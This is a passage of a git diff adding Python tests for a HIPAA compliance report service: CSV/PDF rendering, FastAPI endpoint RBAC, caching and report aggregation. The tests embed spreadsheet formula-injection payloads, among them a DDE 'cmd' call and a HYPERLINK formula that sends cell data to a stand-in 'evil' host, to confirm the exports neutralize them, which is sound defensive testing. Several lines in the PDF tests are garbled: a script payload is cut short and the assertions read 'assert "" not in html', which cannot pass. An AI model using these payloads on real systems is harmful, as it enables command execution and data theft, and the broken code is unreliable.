render_report_csv(malicious_context) + rows = list(csv.reader(io.StringIO(text))) + user_row = next(row for row in rows if len(row) > 1 and row[1] == "1" and row[0].startswith("'")) + assert user_row[0] == "'=cmd|'/c calc'!A0" + + +def test_malicious_actor_label_in_security_events_is_neutralized(): + malicious_context = { + **_CONTEXT, + "security_events": [{"timestamp": "2026-08-13T10:00:00", "label": "Role Assigned", "actor_label": "+1+cmd", "outcome": "success"}], + } + text = render_report_csv(malicious_context) + rows = list(csv.reader(io.StringIO(text))) + event_row = next(row for row in rows if len(row) > 2 and row[1] == "Role Assigned") + assert event_row[2] == "'+1+cmd" diff --git a/backend/tests/test_compliance_pdf.py b/backend/tests/test_compliance_pdf.py new file mode 100644 index 0000000..ec6af0d --- /dev/null +++ b/backend/tests/test_compliance_pdf.py @@ -0,0 +1,125 @@ +"""Tests for control_center.compliance.pdf -- the Jinja2/WeasyPrint render +layer. No FastAPI/HTTP involved (that's test_compliance_router.py, a later +step); this file only proves the template renders and produces a real PDF. +""" +from control_center.compliance.pdf import render_report_html, render_report_pdf + +_MINIMAL_CONTEXT = { + "organization_name": "KUMC Research", + "organization_id": 42, + "from_date": "2026-08-01", + "to_date": "2026-08-31", + "generated_at": "2026-08-11T12:00:00Z", + "generated_by": "admin@omnibioai.org", + "summary": { + "total_users": 12, + "active_users": 7, + "total_rag_queries": 340, + "failed_login_attempts": 3, + "security_events_requiring_review": 1, + }, + "user_access": [ + {"user_label": "alice@kumc.edu", "login_count": 14, "last_login": "2026-08-30T09:12:00Z", "failed_attempts": 0}, + {"user_label": "bob@kumc.edu", "login_count": 3, "last_login": "2026-08-28T17:45:00Z", "failed_attempts": 2}, + ], + "rag_queries": [ + {"timestamp": "2026-08-30T09:15:00Z", "user_label": "alice@kumc.edu", "trace_id": "trace-abc123"}, + ], + "security_events": [ + {"timestamp": "2026-08-29T02:00:00Z", "label": "login_failure", "actor_label": "bob@kumc.edu", "outcome": "failure", "event_type": "login_failure"}, + {"timestamp": "2026-08-30T09:00:00Z", "label": "login_success", "actor_label": "alice@kumc.edu", "outcome": "success", "event_type": "login_success"}, + ], + "truncated": False, + "sources_unavailable": [], +} + +_EMPTY_CONTEXT = { + **{k: v for k, v in _MINIMAL_CONTEXT.items() if k not in ("user_access", "rag_queries", "security_events", "summary")}, + "summary": {"total_users": 0, "active_users": 0, "total_rag_queries": 0, "failed_login_attempts": 0, "security_events_requiring_review": 0}, + "user_access": [], + "rag_queries": [], + "security_events": [], +} + + +def test_render_report_html_includes_org_and_period(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "KUMC Research" in html + assert "2026-08-01" in html + assert "2026-08-31" in html + assert "alice@kumc.edu" in html + + +def test_render_report_html_includes_omnibioai_logo_mark(): + html = render_report_html(_MINIMAL_CONTEXT) + # The inline SVG hexagon mark shared with main.py's own header/AdminLogo.tsx. + assert "alert(1)"} + html = render_report_html(context) + assert "" not in html + assert "<script>" in html + + +def test_render_report_html_escapes_malicious_organization_name(): + """Pre-merge security review regression test: an organization name is + free-text set by any org member with create/rename permission (no + character-class validation in omnibioai-auth's own schema), not + admin-controlled input. A crafted name must never break out of the + HTML it's interpolated into, whether it looks like a script tag, an + attribute-breakout attempt, or a spreadsheet-formula-injection + payload (the CSV-side vector -- included here too since the exact + same string could legitimately show up in either export).""" + dangerous_name = '">=HYPERLINK("http://evil/?x="&A1)' + context = {**_MINIMAL_CONTEXT, "organization_name": dangerous_name} + html = render_report_html(context) + assert "" not in html + assert "<img" in html + assert '">' in html or "">" in html + + +def test_render_report_html_shows_empty_state_notes(): + html = render_report_html(_EMPTY_CONTEXT) + assert "No login activity recorded in this period." in html + assert "No RAG queries recorded in this period." in html + assert "No security events recorded in this period." in html + + +def test_render_report_html_shows_not_tracked_notes(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "Session duration is not included in this report" in html + assert "Dataset views/downloads and data uploads are not tracked" in html + + +def test_render_report_html_shows_renamed_summary_labels(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "Failed Login Attempts" in html + assert "Security Events Requiring Review" in html + assert "Security Incidents" not in html + + +def test_render_report_html_shows_sources_unavailable_warning(): + context = {**_MINIMAL_CONTEXT, "sources_unavailable": ["RAG query events (omnibioai-billing)"]} + html = render_report_html(context) + assert "one or more data sources were unavailable" in html + assert "RAG query events (omnibioai-billing)" in html + + +def test_render_report_html_omits_warning_when_all_sources_available(): + html = render_report_html(_MINIMAL_CONTEXT) + assert "one or more data sources were unavailable" not in html + + +def test_render_report_pdf_produces_valid_pdf_bytes(): + pdf_bytes = render_report_pdf(_MINIMAL_CONTEXT) + assert isinstance(pdf_bytes, bytes) + assert pdf_bytes.startswith(b"%PDF-") + assert len(pdf_bytes) > 1000 + + +def test_render_report_pdf_handles_empty_sections(): + pdf_bytes = render_report_pdf(_EMPTY_CONTEXT) + assert pdf_bytes.startswith(b"%PDF-") diff --git a/backend/tests/test_compliance_router.py b/backend/tests/test_compliance_router.py new file mode 100644 index 0000000..4516621 --- /dev/null +++ b/backend/tests/test_compliance_router.py @@ -0,0 +1,356 @@ +"""End-to-end tests for GET /compliance/hipaa-report via FastAPI's +TestClient, mirroring test_analytics_router.py's own conventions (real +JWTs against a patched JWT_SECRET, FakeRedis for the cache layer, +service.build_report itself mocked out -- its own aggregation logic is +covered by test_compliance_service.py, not re-tested here). +""" +from __future__ import annotations + +import unittest +from unittest.mock import AsyncMock, MagicMock, patch + +import jwt +from fastapi.testclient import TestClient + +from control_center.compliance import service as service_module +from control_center.compliance.router import MANAGE_ALL_ORGS +from control_center.core import jwt_verify as jwt_verify_module +from control_center.main import app +from _fake_redis import FakeRedis + +client = TestClient(app) +SECRET = "test-secret" + +# Pre-merge security review fix: generated_by/generated_at are no longer +# part of what service.build_report returns (see service.py's own module +# docstring) -- router.py stamps them fresh per request instead. The stub +# below matches that contract; security_incidents is renamed/split into +# failed_login_attempts + security_events_requiring_review, and +# sources_unavailable is new. +_REPORT_STUB = { + "organization_id": 1, + "organization_name": "KUMC Research", + "from_date": "2026-08-01", + "to_date": "2026-08-31", + "summary": { + "total_users": 2, "active_users": 1, "total_rag_queries": 3, + "failed_login_attempts": 0, "security_events_requiring_review": 0, + }, + "user_access": [], + "rag_queries": [], + "security_events": [], + "truncated": False, + "sources_unavailable": [], +} + + +def _token(**claims) -> str: + return jwt.encode(claims, SECRET, algorithm="HS256") + + +def _auth(**claims) -> dict: + return {"Authorization": f"Bearer {_token(**claims)}"} + + +class ComplianceRouterTestCase(unittest.TestCase): + def setUp(self) -> None: + jwt_patcher = patch.object(jwt_verify_module, "JWT_SECRET", SECRET) + jwt_patcher.start() + self.addCleanup(jwt_patcher.stop) + + self.fake = FakeRedis() + from control_center.analytics import cache as cache_module + cache_patcher = patch.object(cache_module, "_redis", self.fake) + cache_patcher.start() + self.addCleanup(cache_patcher.stop) + + self.build_report_mock = AsyncMock(return_value=dict(_REPORT_STUB)) + build_report_patcher = patch( + "control_center.compliance.router.service.build_report", self.build_report_mock, + ) + build_report_patcher.start() + self.addCleanup(build_report_patcher.stop) + + self.audit_log_mock = MagicMock() + audit_log_patcher = patch( + "control_center.compliance.router.audit_log.log_report_access", self.audit_log_mock, + ) + audit_log_patcher.start() + self.addCleanup(audit_log_patcher.stop) + + def _params(self, **overrides): + params = {"from_date": "2026-08-01", "to_date": "2026-08-31", "org_id": 1} + params.update(overrides) + return params + + +class AuthenticationTestCase(ComplianceRouterTestCase): + def test_missing_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params()) + self.assertEqual(r.status_code, 401) + + def test_invalid_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers={"Authorization": "Bearer garbage"}) + self.assertEqual(r.status_code, 401) + + +class RbacTestCase(ComplianceRouterTestCase): + def test_platform_admin_allowed(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + + def test_org_admin_without_manage_all_orgs_denied(self) -> None: + """v0.8.0 is platform_admin-only -- an org_admin token (no + manage_all_orgs permission) is 403, unlike /analytics/* which + does grant org_admin scoped access. Deferred to v0.9.0 -- see + compliance/service.py's own module docstring.""" + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["org_admin"]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + def test_regular_user_denied(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["member"]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + def test_denied_request_does_not_emit_audit_log(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["member"]) + client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.audit_log_mock.assert_not_called() + + +class HipaaReportEndpointTestCase(ComplianceRouterTestCase): + def test_returns_report_body(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.json()["organization_name"], "KUMC Research") + + def test_response_uses_renamed_summary_fields(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + summary = r.json()["summary"] + self.assertIn("failed_login_attempts", summary) + self.assertIn("security_events_requiring_review", summary) + self.assertNotIn("security_incidents", summary) + + def test_response_includes_sources_unavailable(self) -> None: + r = client.get("/compliance/hipaa-report", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.json()["sources_unavailable"], []) + + def test_missing_required_params_returns_422(self) -> None: + r = client.get("/compliance/hipaa-report", params={"from_date": "2026-08-01"}, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 422) + + def test_from_date_after_to_date_returns_400(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + r = client.get("/compliance/hipaa-report", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 400) + + def test_validation_failure_does_not_emit_audit_log(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + client.get("/compliance/hipaa-report", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.audit_log_mock.assert_not_called() + + def test_generated_by_uses_token_email_claim(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.json()["generated_by"], "alice@kumc.edu") + + def test_generated_by_falls_back_to_sub_without_email_claim(self) -> None: + headers = _auth(sub="42", permissions=[MANAGE_ALL_ORGS]) + r = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.json()["generated_by"], "42") + + def test_second_request_hits_cache_not_build_report_again(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + r1 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r2 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + self.assertEqual(r1.status_code, 200) + self.assertEqual(r2.status_code, 200) + self.assertEqual(self.build_report_mock.await_count, 1) + + def test_cache_hit_still_attributes_generated_by_to_the_actual_requester(self) -> None: + """Pre-merge security review fix: two different admins requesting + the same cached org/date-range must each see THEIR OWN identity + in generated_by/generated_at -- never the identity of whoever + happened to trigger the original cache miss.""" + r1 = client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="1", email="admin-a@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + r2 = client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="2", email="admin-b@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + self.assertEqual(r1.json()["generated_by"], "admin-a@omnibioai.org") + self.assertEqual(r2.json()["generated_by"], "admin-b@omnibioai.org") + # Both requests still hit the same cache entry underneath -- + # this is a cache HIT for r2, not a second real computation. + self.assertEqual(self.build_report_mock.await_count, 1) + + def test_cache_hit_stamps_a_fresh_generated_at_per_request(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + r1 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r2 = client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + # Not asserting r1 != r2 on wall-clock time (too flaky at test + # speed) -- asserting the field is present and ISO-parseable on + # both, which is what proves it's stamped per-response rather + # than baked into (and reused from) the cached payload. + for r in (r1, r2): + self.assertIn("generated_at", r.json()) + + def test_different_org_id_is_not_cached_together(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(org_id=1), headers=headers) + client.get("/compliance/hipaa-report", params=self._params(org_id=2), headers=headers) + self.assertEqual(self.build_report_mock.await_count, 2) + + def test_nonexistent_organization_returns_404(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + r = client.get("/compliance/hipaa-report", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 404) + + def test_404_does_not_emit_audit_log(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + client.get("/compliance/hipaa-report", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.audit_log_mock.assert_not_called() + + def test_audit_log_called_with_expected_fields_on_success(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(org_id=7, from_date="2026-08-01", to_date="2026-08-31"), headers=headers) + self.audit_log_mock.assert_called_once() + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["actor"], "alice@kumc.edu") + self.assertEqual(kwargs["organization_id"], 7) + self.assertEqual(kwargs["from_date"].isoformat(), "2026-08-01") + self.assertEqual(kwargs["to_date"].isoformat(), "2026-08-31") + self.assertEqual(kwargs["report_format"], "json") + + +class HipaaReportPdfEndpointTestCase(ComplianceRouterTestCase): + def test_platform_admin_gets_pdf(self) -> None: + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.headers["content-type"], "application/pdf") + self.assertTrue(r.content.startswith(b"%PDF-")) + + def test_content_disposition_filename(self) -> None: + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertIn('filename="hipaa-report-org1-2026-08-01-to-2026-08-31.pdf"', r.headers["content-disposition"]) + + def test_org_admin_without_manage_all_orgs_denied(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["org_admin"]) + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + def test_missing_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report/pdf", params=self._params()) + self.assertEqual(r.status_code, 401) + + def test_from_date_after_to_date_returns_400(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + r = client.get("/compliance/hipaa-report/pdf", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 400) + + def test_nonexistent_organization_returns_404(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + r = client.get("/compliance/hipaa-report/pdf", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 404) + + def test_pdf_and_json_share_the_same_cache_entry(self) -> None: + """Both routes call _fetch_cached_report with the same cache key + shape -- the PDF endpoint should reuse a JSON request's already- + cached data instead of recomputing it.""" + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r = client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + self.assertEqual(self.build_report_mock.await_count, 1) + + def test_pdf_response_reflects_current_requester_not_cached_admin(self) -> None: + client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="1", email="admin-a@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + r = client.get( + "/compliance/hipaa-report/pdf", params=self._params(), + headers=_auth(sub="2", email="admin-b@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + self.assertEqual(r.status_code, 200) + # PDF content isn't trivially inspectable for a specific string + # without a PDF-text-extraction dependency this repo doesn't + # have -- the audit log call is the reliable, already-available + # signal that the PDF route resolved *this* request's admin. + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["actor"], "admin-b@omnibioai.org") + + def test_audit_log_called_with_pdf_format(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report/pdf", params=self._params(), headers=headers) + self.audit_log_mock.assert_called_once() + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["report_format"], "pdf") + + +class HipaaReportCsvEndpointTestCase(ComplianceRouterTestCase): + def test_platform_admin_gets_csv(self) -> None: + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 200) + self.assertEqual(r.headers["content-type"], "text/csv; charset=utf-8") + self.assertIn("KUMC Research", r.text) + self.assertIn("## Section 1: Executive Summary", r.text) + + def test_content_disposition_filename(self) -> None: + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertIn('filename="hipaa-report-org1-2026-08-01-to-2026-08-31.csv"', r.headers["content-disposition"]) + + def test_org_admin_without_manage_all_orgs_denied(self) -> None: + headers = _auth(sub="1", permissions=[], org_id=1, org_role=["org_admin"]) + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 403) + + def test_missing_token_returns_401(self) -> None: + r = client.get("/compliance/hipaa-report/csv", params=self._params()) + self.assertEqual(r.status_code, 401) + + def test_from_date_after_to_date_returns_400(self) -> None: + params = self._params(from_date="2026-08-31", to_date="2026-08-01") + r = client.get("/compliance/hipaa-report/csv", params=params, headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 400) + + def test_nonexistent_organization_returns_404(self) -> None: + self.build_report_mock.side_effect = service_module.OrganizationNotFoundError(999) + r = client.get("/compliance/hipaa-report/csv", params=self._params(org_id=999), headers=_auth(sub="1", permissions=[MANAGE_ALL_ORGS])) + self.assertEqual(r.status_code, 404) + + def test_csv_reuses_json_cache_entry(self) -> None: + headers = _auth(sub="1", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report", params=self._params(), headers=headers) + r = client.get("/compliance/hipaa-report/csv", params=self._params(), headers=headers) + self.assertEqual(r.status_code, 200) + self.assertEqual(self.build_report_mock.await_count, 1) + + def test_csv_reflects_current_requester_generated_by(self) -> None: + client.get( + "/compliance/hipaa-report", params=self._params(), + headers=_auth(sub="1", email="admin-a@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + r = client.get( + "/compliance/hipaa-report/csv", params=self._params(), + headers=_auth(sub="2", email="admin-b@omnibioai.org", permissions=[MANAGE_ALL_ORGS]), + ) + self.assertEqual(r.status_code, 200) + self.assertIn("admin-b@omnibioai.org", r.text) + self.assertNotIn("admin-a@omnibioai.org", r.text) + + def test_audit_log_called_with_csv_format(self) -> None: + headers = _auth(sub="1", email="alice@kumc.edu", permissions=[MANAGE_ALL_ORGS]) + client.get("/compliance/hipaa-report/csv", params=self._params(), headers=headers) + self.audit_log_mock.assert_called_once() + _, kwargs = self.audit_log_mock.call_args + self.assertEqual(kwargs["report_format"], "csv") + + +if __name__ == "__main__": + unittest.main() diff --git a/backend/tests/test_compliance_service.py b/backend/tests/test_compliance_service.py new file mode 100644 index 0000000..4e6cc7d --- /dev/null +++ b/backend/tests/test_compliance_service.py @@ -0,0 +1,241 @@ +"""Unit tests for control_center.compliance.service.build_report -- +auth_client/billing_client are patched out entirely (their own httpx +behavior is covered by test_compliance_auth_client.py/ +test_compliance_billing_client.py); this file only proves the +aggregation/shaping logic on top of them. +""" +from __future__ import annotations + +import unittest +from datetime import date +from unittest.mock import AsyncMock, patch + +from control_center.compliance import service + +_MEMBERS = [ + {"user_id": 1, "email": "alice@kumc.edu", "status": "active", "roles": ["member"]}, + {"user_id": 2, "email": "bob@kumc.edu", "status": "active", "roles": ["org_admin"]}, +] + + +def _patch_all( + *, org=None, org_status="ok", members=None, members_status="ok", + login_success=None, login_failure=None, org_events=None, rag_events=None, + trunc_success=False, trunc_failure=False, trunc_org=False, trunc_rag=False, + unavail_success=False, unavail_failure=False, unavail_org=False, unavail_rag=False, +): + return [ + patch("control_center.compliance.service.auth_client.get_organization", AsyncMock(return_value=(org, org_status))), + patch("control_center.compliance.service.auth_client.get_org_members", AsyncMock(return_value=(members or [], members_status))), + patch( + "control_center.compliance.service.auth_client.list_all_audit_events", + AsyncMock(side_effect=[ + (login_success or [], trunc_success, unavail_success), + (login_failure or [], trunc_failure, unavail_failure), + (org_events or [], trunc_org, unavail_org), + ]), + ), + patch( + "control_center.compliance.service.billing_client.list_all_usage_events", + AsyncMock(return_value=(rag_events or [], trunc_rag, unavail_rag)), + ), + ] + + +class BuildReportTestCase(unittest.IsolatedAsyncioTestCase): + async def _build(self, patches, **kwargs) -> dict: + for p in patches: + p.start() + try: + return await service.build_report( + organization_id=kwargs.pop("organization_id", 1), + from_date=kwargs.pop("from_date", date(2026, 8, 1)), + to_date=kwargs.pop("to_date", date(2026, 8, 31)), + authorization=kwargs.pop("authorization", "Bearer tok"), + ) + finally: + for p in patches: + p.stop() + + async def test_basic_shape_and_organization_name(self) -> None: + report = await self._build(_patch_all(org={"id": 1, "name": "KUMC Research"}, members=_MEMBERS)) + self.assertEqual(report["organization_name"], "KUMC Research") + self.assertEqual(report["organization_id"], 1) + self.assertEqual(report["summary"]["total_users"], 2) + # generated_by/generated_at are deliberately NOT part of this + # function's return value -- router.py stamps them fresh per + # request. See service.py's own module docstring. + self.assertNotIn("generated_by", report) + self.assertNotIn("generated_at", report) + + async def test_organization_name_falls_back_when_org_unavailable(self) -> None: + report = await self._build(_patch_all(org=None, org_status="unavailable", members=_MEMBERS)) + self.assertEqual(report["organization_name"], "Organization #1") + self.assertIn("Organization details (omnibioai-auth)", report["sources_unavailable"]) + + async def test_nonexistent_organization_raises_not_found(self) -> None: + patches = _patch_all(org=None, org_status="not_found", members=[]) + for p in patches: + p.start() + try: + with self.assertRaises(service.OrganizationNotFoundError) as ctx: + await service.build_report( + organization_id=999, from_date=date(2026, 8, 1), to_date=date(2026, 8, 31), authorization="Bearer tok", + ) + self.assertEqual(ctx.exception.organization_id, 999) + finally: + for p in patches: + p.stop() + + async def test_login_events_filtered_to_org_members_only(self) -> None: + login_success = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + {"actor_user_id": None, "actor_email": None, "metadata": {"email": "outsider@other.org"}, "created_at": "2026-08-05T11:00:00"}, + ] + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success)) + labels = [r["user_label"] for r in report["user_access"]] + self.assertIn("alice@kumc.edu", labels) + self.assertNotIn("outsider@other.org", labels) + + async def test_user_access_aggregates_login_count_and_last_login(self) -> None: + login_success = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-20T10:00:00"}, + ] + login_failure = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-06T10:00:00"}, + ] + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success, login_failure=login_failure)) + alice = next(r for r in report["user_access"] if r["user_label"] == "alice@kumc.edu") + self.assertEqual(alice["login_count"], 2) + self.assertEqual(alice["failed_attempts"], 1) + self.assertEqual(alice["last_login"], "2026-08-20T10:00:00") + self.assertEqual(report["summary"]["active_users"], 1) + + async def test_rag_queries_resolve_user_id_to_member_email(self) -> None: + rag_events = [ + {"timestamp": "2026-08-10T09:00:00", "user_id": "2", "trace_id": "trace-1"}, + {"timestamp": "2026-08-11T09:00:00", "user_id": "999", "trace_id": "trace-2"}, + ] + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, rag_events=rag_events)) + by_trace = {r["trace_id"]: r["user_label"] for r in report["rag_queries"]} + self.assertEqual(by_trace["trace-1"], "bob@kumc.edu") + self.assertEqual(by_trace["trace-2"], "999") + self.assertEqual(report["summary"]["total_rag_queries"], 2) + + async def test_security_events_classifies_denial_vs_ordinary_change(self) -> None: + org_events = [ + {"event_type": "role_assigned", "actor_email": "bob@kumc.edu", "actor_user_id": 2, "created_at": "2026-08-12T10:00:00"}, + {"event_type": "role_assignment_denied", "actor_email": "bob@kumc.edu", "actor_user_id": 2, "created_at": "2026-08-13T10:00:00"}, + {"event_type": "sso_configuration_updated", "actor_email": None, "actor_user_id": None, "created_at": "2026-08-14T10:00:00"}, + # not in _SECURITY_EVENT_TYPES -- must be excluded + {"event_type": "some_unrelated_type", "actor_email": "bob@kumc.edu", "actor_user_id": 2, "created_at": "2026-08-15T10:00:00"}, + ] + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, org_events=org_events)) + by_type = {r["event_type"]: r for r in report["security_events"]} + self.assertEqual(by_type["role_assigned"]["outcome"], "success") + self.assertEqual(by_type["role_assignment_denied"]["outcome"], "deny") + self.assertEqual(by_type["sso_configuration_updated"]["actor_label"], "system") + self.assertNotIn("some_unrelated_type", by_type) + # Pre-merge review fix: security_incidents renamed/split. Only + # the deny-classified event counts toward + # security_events_requiring_review; no login failures here, so + # failed_login_attempts is 0. + self.assertEqual(report["summary"]["security_events_requiring_review"], 1) + self.assertEqual(report["summary"]["failed_login_attempts"], 0) + + async def test_login_failures_appear_in_security_events_but_count_separately(self) -> None: + login_failure = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-06T10:00:00"}, + ] + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_failure=login_failure)) + failed_login_rows = [r for r in report["security_events"] if r["event_type"] == "login_failure"] + self.assertEqual(len(failed_login_rows), 1) + self.assertEqual(failed_login_rows[0]["outcome"], "failure") + # Pre-merge review fix: a failed login is counted under + # failed_login_attempts, NOT security_events_requiring_review -- + # conflating a mistyped password with a rejected escalation + # attempt under one "incidents" number was the exact defect this + # rename/split fixes. + self.assertEqual(report["summary"]["failed_login_attempts"], 1) + self.assertEqual(report["summary"]["security_events_requiring_review"], 0) + + async def test_truncated_flag_propagates_from_any_source(self) -> None: + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, trunc_rag=True)) + self.assertTrue(report["truncated"]) + + async def test_no_activity_returns_empty_sections(self) -> None: + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS)) + self.assertEqual(report["user_access"], []) + self.assertEqual(report["rag_queries"], []) + self.assertEqual(report["security_events"], []) + self.assertEqual(report["summary"]["security_events_requiring_review"], 0) + self.assertEqual(report["summary"]["failed_login_attempts"], 0) + self.assertEqual(report["sources_unavailable"], []) + + # ── Pre-merge review fix: sources_unavailable ────────────────────── + + async def test_sources_unavailable_lists_every_failed_source_by_name(self) -> None: + report = await self._build(_patch_all( + org={"name": "KUMC"}, members=_MEMBERS, + unavail_success=True, unavail_failure=True, unavail_org=True, unavail_rag=True, + )) + self.assertEqual(sorted(report["sources_unavailable"]), sorted([ + "Login success events (omnibioai-auth)", + "Login failure events (omnibioai-auth)", + "Role/permission/security events (omnibioai-auth)", + "RAG query events (omnibioai-billing)", + ])) + + async def test_members_unavailable_is_recorded_and_report_still_returns(self) -> None: + report = await self._build(_patch_all(org={"name": "KUMC"}, members=[], members_status="unavailable")) + self.assertIn("Organization members (omnibioai-auth)", report["sources_unavailable"]) + # Degrades gracefully -- does not raise, unlike the confirmed + # not_found case. + self.assertEqual(report["summary"]["total_users"], 0) + + async def test_partial_downstream_failure_does_not_silently_report_zero_everything(self) -> None: + # RAG unavailable, but login data (a different, working source) + # still came through -- the report must reflect BOTH: real login + # activity AND an explicit warning that RAG data is missing, not + # a blanket "everything is empty" that hides which part failed. + login_success = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + ] + report = await self._build(_patch_all(org={"name": "KUMC"}, members=_MEMBERS, login_success=login_success, unavail_rag=True)) + self.assertEqual(report["summary"]["total_rag_queries"], 0) + self.assertEqual(report["summary"]["active_users"], 1) + self.assertEqual(report["sources_unavailable"], ["RAG query events (omnibioai-billing)"]) + + # ── Pre-merge review fix: multi-org login attribution (documented, + # not fixed -- v0.9 architecture work; this test locks in the + # current, known-limitation behavior so a future change to it is a + # deliberate decision, not an accidental regression). ───────────── + + async def test_multi_org_user_login_appears_in_every_member_org_report(self) -> None: + shared_user_login = [ + {"actor_user_id": 1, "actor_email": None, "metadata": {"email": "alice@kumc.edu"}, "created_at": "2026-08-05T10:00:00"}, + ] + org_a_members = [{"user_id": 1, "email": "alice@kumc.edu", 